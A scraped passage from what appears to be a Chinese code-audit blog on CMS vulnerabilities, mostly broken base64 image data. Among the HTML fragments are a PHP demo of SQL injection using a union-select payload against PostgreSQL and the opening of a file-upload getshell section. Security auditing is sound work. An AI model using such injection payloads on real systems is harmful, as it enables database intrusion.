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<p><a id=img16 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181112-62bbf962-c66a-1.png><img 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<div class=highlight><pre><span></span><span class=x>function replace_str_symbol($value,$symbol = array('[',']'),$repace_symbol = array('(',')')){</span>
<span class=x> return str_replace($symbol,$repace_symbol,$value);</span>
<span class=x>}</span>
<span class=x>$data_table_name='admin';</span>
<span class=x>$name="admin' and union select datname from pg_database#";</span>
<span class=x>$query_condition=111;</span>
<span class=x>$name=replace_str_symbol($name);</span>
<span class=x>$query = 'select first_name,up_byte,down_byte,create_time from '.$data_table_name.' where first_name=\''.$name.'\' '.$query_condition.' order by create_time asc;';</span>
<span class=x>echo $query;</span>
</pre></div>
<blockquote><p>可以传入<code>$name</code>为类似的形式,直接将后面的注释掉,使它联合查询进行注入,可惜的是这里并没有成功验证,找的很多资产都连接<code>pg</code>的时候出现问题,并且因为进不去里面不知道<code>timescope</code>等具体是什么,这里是否存在留疑!</p>
</blockquote>
<h1 id=toc-4>总结</h1>
<p>整个<code>CMS</code>框架的路由都是以参数<code>g</code>控制,所有的处理逻辑文件都在<code>.mds</code>后缀文件里面,通过<code>include template()</code>的形式来对模板进行渲染,从而到达前端,安全防御也不多,审计起来相对来说挺简单的。</p>
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<span class="username cell"> 墨*笔</span></a> <span class=i-seprator> / </span>
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<p>最新源码下载,最近一次更新在22天前</p>
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301140751-09001834-d792-1.png title><img src="data:image/png;base64,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<h2 id=toc-0>代码审计</h2>
<h3 id=toc-1>后台文件上传Getshell(web和小程序)</h3>
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301142431-5d8a71ea-d794-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA4QAAAG/CAYAAAAAbBl8AAEAAElEQVR4nOzdd3gc1dXA4d9s39Wueu+S5d577xhXium9EwgtCaSQfAkEkhAIIRBC6ITewQYbDBhs49675S6r9y5tb/P9sbJs2ZIbNgZ03ucRWLNT7mzTnLn3nqP0vXuDihDiRyPgaSbotZ/tZohToGj06MJiz3YzhBBCCCFaac52A4QQQgghhBBCnB0SEAohhBBCCCFEJyUBoRBCCCGEEEJ0UhIQCiGEEEIIIUQnJQGhEEIIIYQQQnRSEhAKIYQQQgghRCclAaEQQgghhBBCdFISEAohhBBCCCFEJ6U75Q21CklRhtPSCBXw+oLU2f2EW3RYjBqUk9ze51epafIRCKqnpU1CCCGEEEII8VN3ygFhWqyRT/+vN+ppir+25Nv5vzcLuGtWMtMHRZ/09nvKXNzz4n4qG7zfuU0KoNMp+P0qpzu81GsV/EH1tD1vQgghhBBCCHGqTjkgBFBV+HRdLVsO2E+qR6/NPlr+X9vso97u5+NVNazb2wxwQvvUaBSmDYrCZtaeYgvaUhTokWrhgcszuP+NfIqq3CcVFCoKKMrRLVeAuHA9D1yRzvsrqlmxs6n9/aoQlGhRCCGEEEII8T045YBQVUM/mw/Ymbe29jv3eKmEes027G9m4377CW9n0Cn0SDXTNyPspI6n6SjaVBRibXpyks1EW3UUV3ccmB45OlWrCbUlNdbYss2hLRUFkqIM9E4PY2xvL2ZDewGsSqMjwPZCBw5PQHoRhRBCCCGEEGfUqfcQKqEfhVBgeCq9Wgoc1UumqqHg8IS3VxVObsYhDMmx0Tvd0uFOs+JNaDUwfXA0/TI7DjTX7m1md4kTAL1O4cbJidw4OYFAMPR8KBCKBA+jUWDawGimDmxnWKyqYtBr2FXs5N5X8qiz+0/qvIQQQgghhBDiZJxyQFhZ7+XO5/ezv9zVbjCo0yrMGhrN9EHRaDWhyNHnV/l0bS0Lt9SjVeDqCfGM6hGOVqOgAqqqsmZPM28uqcTrPzPdY4oC5wyIZEzPiA7XMRs0aBWFiX0j8fiCbR5TOdTv5w+qrQFhtFXP7BExLNxcz/srqslONFHV6KPJGTgU9SqHBcHtnZ4CvdMt3HdBKmN6RTB//XfveRVCCCGEEEKIjpz6kFHA5w+2GwwqCvTLDOMX56UQbdW3Ll+W28i6vU0EgyqqAqt3N3HZ6DhSYgwcDLN6p4Wxq9jJ6j1NZyQYUlV4dkE57y+vDnXeqUfHZv2zrPzpsnQen1PMvnLXUdsrSuj/VY3e1uU6rYJRr2Fjnh23L8hdM1N45vPS1vmQJ6rR6efaCT5MBo0Eg0IIIYQQQogz6pQDwsRIA/+9PYe/f1TMJ2tq2wSG2Qkm7r84naiw0O5VVLYccPDox8XUtwyDVFXYW+biqfmlPHh5OmFmHQpgMWm494IUfvu6l/xK9xkJippdfhzuAD+fnsTAbCt3vrA/1CPZEuylxRpRCSW6Kar2hNqgQIRFy39vy+HzDXW8u7wa9bDGVdR7ufWZvdQ7/Nx3QSoJkXpumZLEpaPjTrhd/oDK/76p5N7/5VFe5z3+BkIIIYQQQgjxHXynwvR67dFz94x6DXfNSiEnydSabbOu2c8/PymhvM7TpjdOVWF5biMfr65tDa4UFLITzdwyJRFdO/s/HVQVgkGVumY/PVMt9Eq1oKoqQVUl2JIsB0JJY4Ity1VVZXAXKymxRmqafaFezsNOJhBUya904/WpNDgC5FW48QdVwowaLMf5SY010jczjB6pFkx6hYJKN25vsP3GC9GJGcLNdEkwYThD3w2dj4LZpCMqTIv2O/01OL10ei3JiUbCDfI6CyHOIEUhzKzDZmg/G4XFEvp+PFbvid6gJdama/ea+GSZzDoizMc+3ncRnRjGiO5W4kxn6ADiR+s7JZU5sryCSa/hpnMSmdAnAo0SmhfY6PTz+NwScgsd7U6bc3uDvPBVOYOyrfTJsKAoSkspiWjW7w9lMD0jxeYVWLu3iSvGxjGxXyTbCx34Au0fR2k5t0n9Iimt9bAt39E6bPRwQRU0Giit9fDmEic7i50U13hagzul9T+AClqtwrjeEdwzKwWDTuHJT0tZsbPxqOylQvwYmM1hjBkQjfUUK8AEfF7Wra2kooPHNVojt101hKu6a/j3ixt4f1f73yniZBi58aIMLkwNcMtLBRTVn2AiKwVsNiPdU8xkxGhYs6GZ1O42Ek3HuCAKquw80MS+2uMdQ6HvoCT+e3E0n88r4G8rmk74bIQQ4nj0Jj29EvXsL3DiCDdz91XpJO+v5k9f19JoMTEhQ8v6fQ4cfg13XNedc60ubvrnAUo62F/v4Um8NMXGLc/nsbXMi9lmIO5Y34WHaWrw0uBr+Uum1zLrihwu0Tt56MUidgGx8Ra6RR//Ut3l8LKr2I37OOv1HZXK34fr+Nt/cvm8oxMSndJpuwmhUeCcAVFcPSEeTUug6PUFefGrcr7ZWt/hhZsKOD0Bnvi0hL9cndlaskGjUfjZuYnklbvYXnB6L/wUJdQTWVbnZXO+nVE9wnn72yqqmnxH3SE6GPQmRhkY2jWcz9bXUtPkQ0EBpW0voQJYDFqGdLXSJz0MRYGKeh+bDtjZfMDOgQoXtU1+VFR6plm4cHgs43pHsL/cxeNzi1m7txl/B0GpED90NmskN1/UkzRj+4+bDFoUNYjb134eYY+9kT92EBDqDAamTe/FjYOt7NtSwKZilwSDp4WCLUxPYoQGXYe1eEJis6O5ZWQE2dEGIq2hu9gGDfj9flx2H+dMS2VkBDS4ghw5vkGv12IzqLzw/v7WgFCn1xAXrkfXTs+kvcZFkVfLhNFxrCzwkOc5eh01EKS60YcncIqn/hOmNeu5dHoqE5N0FO6p5JFv2g+qExPDuGNmMglH9BbU17hYvKWO9fku6r2hT5o5TM/NF2bQN7Lt+8Tj8rJsYz1rDtgpaZaRLadVhIW7ZiXRN7Lth8TZ7GHN9gaW7rNTYT/6Odeb9PTJtjF7dCy94w0cLNPsDwQpLW7i1c8rWVfr+z7O4IdHUegzMJGHzw1nwWcFvJgPkeF6YsxajAY9l09N5Y5+Wp54MZ95NQa6J+jxlNdRdoxdajQKRr3SmlS+/9QMHhlgPk5nhoJWE+DDF/J4rth9cBFhNgNxei8Hs28MGprAn8eF4/IEae+rTkHBYNCwf3sFd75dAUYtXRNMWHXtf59nh2vQajRkpFgZaGi/ZV6Xj9zydr50xU/aaQkIFQVykiz8bGoiYabQN08gqLJgYx1zVtfgO07GUFWFbQUO3lxSye8uSUOrKChAUrSRW6cm8Yc38rG7AqflAjDMpKV3mgWDPvQFW2/3kxFvYsaQaPaWuVAIFabXtGT8PHg+Q7vaiA3X0+DwM7x7OBAKeHOLnDharkhUoLLBy8PvFdE1yUzvDAsDs62cPyyaK8bGUVHvJa/CRSAIw7racHmD/O+bChZsrGsNFMUPy8ju4eQkmb/zfrz+IO+vqD4NLfrhamyq44nXt2BpuXZp824Ot3H7hTkk1JXzxFcV2A+7Fjn4Zyvg97G7g32PmtiVe89NoiavhMc+2Mfe1osghfQuyUzPUpmztIzqTnqN833QuhS6pVvQNXnBoEVvt/PMoloKanzs8WmZplOoLa7lL1/V4ziiE7Brdjy/mB7RZlhqXIqNBy5KIcnc/oWLVatitFn45fU57T7uqGvm7x8VseOn/bE6JTE2KxcNjaJHmELPiCDvL2sir51p6WaLjgFdw0k3qnj8oWRvRp0GTbdwzh0aw9fflvL4lzXU+EGr09Az28aIWAWPLzS9wqBX0CoK4/pGs2tXNQ+8U8K+Ey8jLI7HoKVHlpWRcVpc3tAVgl6voFPCmTQohmmbK3lwbgVFTYeCQmOEietnpHLN4HAi9ODxBKhuDoBGITrSREaUli0raztvQKiq7NpRy7ZhEVw9I5n1bx26BTl4eCI/G2Vj5aJ8ltT4iMgMJ8OisnWno02G+dZdHbFMCXUVYDBridD4eX5uRYe9ipqEcB6cFkHYcYaZ6vQarLog731UymbH0SGh3qjllosy0euUUO9gvJVf35DJ4Mj25wAoioJOq3Dz5V25qYNjVuyvZtaz0n3Y2XzngFABYmx6Hroyg/Q4U2tZhdW7m3jikxJcnhO7YxgIqsxbV0vXFDOzR8Si04Q+WCO7h3PTlET++3nZaek9m9g3kvsvTsNkCBVSPPhRvHNGMjqt0lpTUadVuPeCVDQt7QgEQ3MJ75mV0nKhq+LyBPnrh8Us3FzXmn1UQaHR6WfTgWbyq9xsyrMzJMfGJaNiSY8zkhhlwOEOEG7R4vIGyEowMbpnBPvKnORXunG1DC+VDKM/DFmJJoZ1s33n/bi8P/2A0ONxsX5/kBnDUqGumgU7DuuViAtwqSdIRLOd1TuqqG+5+agzGLjwnC5QXMGX+xo48lpSq9My/pxe/OXCVOwFpfzy2W3sOmy3Gp2WEcNSuHVCNOMzw7j37X1UuBAd0mDSB3GfwrVgZXktN/29FjBwx3VdmG52sTy3kSo3EGsDVHxuL7uKHDQdsX+dzX/U3W29UUtqnBFTlZ2lRW5Otuqq2+6iSW5it0Ohx/BocsKgvMZHXIyVc3qbKNjsbreHAaB0XwU/e62MUieYLUbGDYvjF9PjmTohmYoKF09ucLSua69t4lcv72ddGeh0Wvr2iuaXs1MY0CuOX01y8pvP62jnulV8F00OZjy6n1pHAAxahvaN5fbpiQwZlMAf6t3cPq8OAMVs5Hc3dGV2tp6qsiaeWVDOgl0ODpU01jJ6YCTehs5d49jd7OSJj4rJTVXZ2qxyScvy2honXy0uLine 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<p>尝试上传点随便上传点东西看看上传接口在哪里,虽然报错了但至少知道了源码的位置</p>
<p>进行代码分析在/app/webapp/modules/system/actions/uploadImgAction.class.php中结合请求包我们尝试进行debug</p>
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141145-94cce874-d792-1.png><img src="data:image/png;base64,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